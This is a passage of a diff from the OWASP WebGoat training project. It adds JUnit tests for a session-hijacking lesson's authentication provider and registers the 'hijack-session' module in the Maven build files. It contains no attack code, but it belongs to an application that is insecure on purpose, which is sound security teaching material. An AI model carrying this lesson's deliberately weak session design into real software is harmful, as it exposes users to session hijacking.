HijackSessionAuthenticationProvider provider = new HijackSessionAuthenticationProvider();
|
||||
|
||||
@ParameterizedTest
|
||||
@DisplayName("Provider authentication test")
|
||||
@MethodSource("authenticationForCookieValues")
|
||||
void testProviderAuthenticationGeneratesCookie(Authentication authentication) {
|
||||
Authentication auth = provider.authenticate(authentication);
|
||||
assertThat(auth.getId(), not(StringUtils.isEmpty(auth.getId())));
|
||||
}
|
||||
|
||||
@Test
|
||||
void testAuthenticated() {
|
||||
String id = "anyId";
|
||||
provider.addSession(id);
|
||||
|
||||
Authentication auth = provider.authenticate(Authentication.builder().id(id).build());
|
||||
|
||||
assertThat(auth.getId(), is(id));
|
||||
assertThat(auth.isAuthenticated(), is(true));
|
||||
|
||||
auth = provider.authenticate(Authentication.builder().id("otherId").build());
|
||||
|
||||
assertThat(auth.getId(), is("otherId"));
|
||||
assertThat(auth.isAuthenticated(), is(false));
|
||||
}
|
||||
|
||||
@Test
|
||||
void testAuthenticationToString() {
|
||||
AuthenticationBuilder authBuilder = Authentication.builder()
|
||||
.name("expectedName")
|
||||
.credentials("expectedCredentials")
|
||||
.id("expectedId");
|
||||
|
||||
Authentication auth = authBuilder.build();
|
||||
|
||||
String expected = "Authentication.AuthenticationBuilder("
|
||||
+ "name=" + auth.getName()
|
||||
+ ", credentials=" + auth.getCredentials()
|
||||
+ ", id=" + auth.getId() + ")";
|
||||
|
||||
assertThat(authBuilder.toString(), is(expected));
|
||||
|
||||
expected = "Authentication(authenticated=" + auth.isAuthenticated()
|
||||
+ ", name=" + auth.getName()
|
||||
+ ", credentials=" + auth.getCredentials()
|
||||
+ ", id=" + auth.getId() + ")";
|
||||
|
||||
assertThat(auth.toString(), is(expected));
|
||||
|
||||
}
|
||||
|
||||
@Test
|
||||
void testMaxSessions() {
|
||||
for (int i = 0; i <= HijackSessionAuthenticationProvider.MAX_SESSIONS + 1; i++) {
|
||||
provider.authorizedUserAutoLogin();
|
||||
provider.addSession(null);
|
||||
}
|
||||
|
||||
assertThat(provider.getSessionsSize(), is(HijackSessionAuthenticationProvider.MAX_SESSIONS));
|
||||
}
|
||||
|
||||
private static Stream<Arguments> authenticationForCookieValues() {
|
||||
return Stream.of(
|
||||
Arguments.of((Object) null),
|
||||
Arguments.of(Authentication.builder().name("any").credentials("any").build()),
|
||||
Arguments.of(Authentication.builder().id("any").build()));
|
||||
}
|
||||
|
||||
}
|
@ -43,7 +43,7 @@
|
||||
<module>path-traversal</module>
|
||||
<module>spoof-cookie</module>
|
||||
<module>logging</module>
|
||||
|
||||
<module>hijack-session</module>
|
||||
</modules>
|
||||
|
||||
<dependencies>
|
||||
|
@ -154,6 +154,11 @@
|
||||
<artifactId>spoof-cookie</artifactId>
|
||||
<version>${project.version}</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||
<artifactId>hijack-session</artifactId>
|
||||
<version>${project.version}</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||
<artifactId>webgoat-lesson-template</artifactId>
|
||||
|
Loading…
x
Reference in New Issue
Block a user